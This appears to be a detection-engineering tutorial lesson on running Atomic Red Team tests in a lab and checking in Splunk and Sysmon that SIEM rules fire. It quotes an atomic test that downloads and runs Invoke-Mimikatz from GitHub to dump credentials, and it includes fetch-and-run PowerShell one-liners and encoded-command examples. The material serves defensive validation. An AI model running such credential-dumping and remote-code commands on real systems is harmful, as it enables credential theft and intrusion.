Atomic Red Team gives detection engineers a catalog of controlled, repeatable tests for ATT&CK techniques. Instead of waiting for a red team engagement or a real incident to discover that a rule doesn’t work, you run the test yourself — safely, in a lab — and confirm the detection fires before deploying to production.
The Atomic Test Structure
Each ATT&CK technique has one or more atomic test files in the atomics/ directory:
# atomics/T1059.001/T1059.001.yaml (excerpt)
attack_technique: T1059.001
display_name: 'Command and Scripting Interpreter: PowerShell'
atomic_tests:
- name: Mimikatz - Cred Dump
auto_generated_guid: f3132740-55bc-48c4-bcc0-758a459cd027
description: |
Download Mimikatz and dump credentials
supported_platforms:
- windows
executor:
name: powershell
elevation_required: true
command: |
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/
PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');
Invoke-Mimikatz -DumpCreds
cleanup_command: |
Remove-Item $env:TEMP\Invoke-Mimikatz.ps1 -Force -ErrorAction Ignore
- name: Run PowerShell with EncodedCommand
auto_generated_guid: 4cbc6a60-0d30-4a55-9f6e-c71a1b79ef49
description: |
Run an encoded PowerShell command
supported_platforms:
- windows
executor:
name: powershell
elevation_required: false
command: |
$encodedCommand = 'V3JpdGUtSG9zdCAiSGVsbG8gV29ybGQi'
powershell.exe -EncodedCommand $encodedCommand
Each test has:
name— human-readable descriptionauto_generated_guid— unique identifier for trackingsupported_platforms— where it can runexecutor— powershell/cmd/bash/manualcommand— what the test executes (the “attack”)cleanup_command— what to run after to restore state
Setting Up Invoke-AtomicRedTeam
# Install the module (run as Administrator)
IEX (IWR 'https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/install-atomicredteam.ps1' -UseBasicParsing)
Install-AtomicRedTeam -getAtomics
# Import module
Import-Module "C:\AtomicRedTeam\invoke-atomicredteam\Invoke-AtomicRedTeam.psd1" -Force
# Set the atomics path
$PSDefaultParameterValues = @{"Invoke-AtomicTest:PathToAtomicsFolder"="C:\AtomicRedTeam\atomics"}
Running Tests
Show what a test will do (dry run)
# List all tests for T1059.001
Invoke-AtomicTest T1059.001 -ShowDetails
# Show specific test numbers
Invoke-AtomicTest T1059.001 -TestNumbers 1,2 -ShowDetails
Output:
PathToAtomicsFolder = C:\AtomicRedTeam\atomics
[********BEGIN TEST*******]
Technique: T1059.001
Atomic Test Name: Run PowerShell with EncodedCommand
Atomic Test Number: 1
Atomic Test GUID: 4cbc6a60-0d30-4a55-9f6e-c71a1b79ef49
Description: Run an encoded PowerShell command
[********END TEST*******]
Check prerequisites
# Verify the test can run on this system
Invoke-AtomicTest T1003.001 -CheckPrereqs
Some tests require: specific tools pre-installed, admin rights, specific OS version, internet access.
Execute a test
# Run test #1 for T1059.001
Invoke-AtomicTest T1059.001 -TestNumbers 1
# Run all tests for a technique
Invoke-AtomicTest T1059.001
# Run multiple techniques
Invoke-AtomicTest T1059.001,T1003.001 -TestNumbers 1
Cleanup
# Always run cleanup after testing
Invoke-AtomicTest T1059.001 -TestNumbers 1 -Cleanup
Interpreting the Results
After running a test, the detection validation process:
Step 1: Note the execution timestamp
# Log the time before running
$testTime = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
Write-Host "Test started: $testTime"
Invoke-AtomicTest T1059.001 -TestNumbers 1
Step 2: Query the SIEM for raw events
# Splunk — check if Sysmon saw the event
index=sysmon EventCode=1 Image="*powershell.exe*"
earliest="-5m" latest="+5m"
| table _time, Image, CommandLine, ParentImage, User
Three possible outcomes:
| Outcome | What it means | Action |
|---|---|---|
| Events present + alert fired | Detection works ✓ | Mark as Covered |
| Events present + no alert | Rule logic/mapping issue | Debug the query |
| No events | Telemetry gap | Fix Sysmon/forwarding |
Step 3: If events present but no alert — debug the rule
# Run the detection rule's raw conditions manually
index=sysmon EventCode=1
(Image="*\\powershell.exe" OR Image="*\\pwsh.exe")
CommandLine="*-EncodedCommand*"
earliest="-5m" latest="+5m"
If this returns results, the alert should have fired — check if the rule is deployed and active in the SIEM.
If this returns nothing, compare the actual CommandLine value in the event against what the rule expects:
# Check what CommandLine actually looks like
index=sysmon EventCode=1 Image="*powershell*"
earliest="-5m" latest="+5m"
| table _time, CommandLine
Maybe the atomic used -enc (abbreviation) but the rule only checks for -EncodedCommand. That’s a recall gap — not a broken rule, but an incomplete one.
# Atomic test run: T1059.001 Test #1 (encoded PowerShell)
# Command executed: powershell.exe -EncodedCommand SGVsbG8gV29ybGQ=
Sysmon Event ID: 1 (Process Create)
Time: 2026-05-20 10:15:32
Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
CommandLine: "powershell.exe" -EncodedCommand SGVsbG8gV29ybGQ=
ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
ParentCommandLine: "powershell.exe" -noexit -ExecutionPolicy bypass
User: WIN10\testuser
ProcessGuid: {4d5e6f7a-8b9c-1234-5678-9abc01234567}
Hashes: SHA256=9f86d081884c...
# Expected detection: "PowerShell Encoded Command Execution" rule
# Result: ALERT FIRED ✓
# Verification query matched:
# Image endswith "\powershell.exe" ✓
# CommandLine contains "-EncodedCommand" ✓ Building a Test Run Log
Document every test with a structured log:
Date: 2026-05-20
Tester: detection-engineer-1
Environment: DetectionLab Win10 workstation
Technique: T1059.001 — PowerShell
Test: Invoke-AtomicTest T1059.001 -TestNumbers 1
Execution time: 10:15:32
Raw events in SIEM: YES (Sysmon Event 1, CommandLine present)
Alert fired: YES
Rule: powershell-encoded-command.yml
Result: COVERED ✓
Technique: T1059.001 — PowerShell
Test: Invoke-AtomicTest T1059.001 -TestNumbers 3 (obfuscated variant)
Execution time: 10:22:18
Raw events in SIEM: YES
Alert fired: NO
CommandLine in event: "p^o^w^e^r^s^h^e^l^l.exe -enc SGVsbG8="
Rule condition: CommandLine contains "-EncodedCommand" — DOESN'T MATCH
Result: MISCOVERED — rule needs windash modifier and abbreviation coverage
This log becomes the input to the coverage matrix (Lesson 5) and drives the rule improvement backlog.
Atomic Red Team— Red Canary Invoke-AtomicRedTeam— GitHub EVTX-ATTACK-SAMPLES— GitHub